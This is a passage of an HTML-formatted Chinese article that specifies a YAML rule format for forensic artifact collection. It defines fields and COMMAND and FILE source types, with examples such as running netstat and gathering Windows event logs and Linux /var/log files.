leaf="">[&#39;<a href="https://artifacts-kb.readthedocs.io/en/latest/sources/windows/EventLog.html" target="_blank">https://artifacts-kb.readthedocs.io/en/latest/sources/windows/EventLog.html</a>&#39;]</span></span><span leaf=""><br/></span></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxLog&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上日志文件收集&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/log/&#39;</span></span><span leaf=""><br/></span></code></pre><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">规则整体层级为 YAML文件 -&gt; Artifact -&gt; Source -&gt; 具体类型的配置</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">3. Artifact 定义规范</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3.1 核心字段</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">字段</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><p><span leaf="">是否为必填项</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">name</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">工件名称</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">doc</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">工件的描述信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✗</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">author</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">工件作者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✗</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">sources</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">信息采集的数据源</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">urls</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">工件相关的参考链接</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✗</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">version</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">规则版本</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3.2 字段详细说明</span><span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">name</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">工件的唯一标识符，应清晰表达该工件的用途。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">格式要求</span></strong><span leaf="">：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">长度：2-255个字符</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">字符限制：仅支持英文字母和数字</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">命名风格：首字母大写的驼峰式命名</span></p></li></ul><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsSystemEventLogEvtx&#39;</span></span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">doc</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">工件的描述信息，说明其用途、重要性或注意事项。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">格式建议</span></strong><span leaf="">：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">简明扼要，通常为单行描述</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">需要多行时使用 YAML 多行文本格式（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">|</span></code><span leaf="">）</span></p></li></ul><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">|</span><span leaf=""><br/></span><span leaf="">  Windows 系统事件日志，适用于 Vista 及更高版本系统。</span><span leaf=""><br/></span><span leaf="">  包含系统启动、关机、服务启停等重要事件信息。</span><span leaf=""><br/></span></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">author</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">工件的作者信息。</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">urls</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">相关参考资料的链接列表。</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://artifacts-kb.readthedocs.io/en/latest/sources/windows/EventLog.html" target="_blank">https://artifacts-kb.readthedocs.io/en/latest/sources/windows/EventLog.html</a>&#39;</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://forensics.wiki/windows_event_log/" target="_blank">https://forensics.wiki/windows_event_log/</a>&#39;</span></span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">version</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">规则版本号，当前规范版本为 0.0.1。</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">sources</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">工件的核心组成部分，定义了实际的数据采集源。每个工件可包含多个 source 对象。</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[&#39;-ano&#39;]</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">netstat</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;windows&#34;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">FILE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[&#39;%%environ_systemroot%%\System32\winevt\Logs\System.evtx&#39;]</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;windows&#34;</span></span><span leaf=""><br/></span></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">4. Source 定义规范</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每个 source 对象表示特定操作系统上的一种数据源类型。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4.1 核心字段</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">字段</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><p><span leaf="">是否为必填项</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">type</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">数据源类型</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">attributes</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">数据源属性</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">supported_os</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">支持的操作系统</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4.2 Source 类型</span><span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">COMMAND</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">执行特定命令并收集其输出。</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">属性</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><p><span leaf="">是否为必填项</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">cmd</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">命令路径或名称</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">args</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">命令参数列表</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr></tbody></table><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;netstat&#39;</span></span><span leaf=""><br/></span><span leaf="">  </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">[&#39;-ano&#39;]</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;windows&#39;</span></span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">FILE</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">收集特定文件。</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">属性</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">描述</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: center;"><p><span leaf="">是否为必填项</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">paths</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">文件路径列表</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: center;"><p><span leaf="">✓</span></p></td></tr></tbody></table><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span 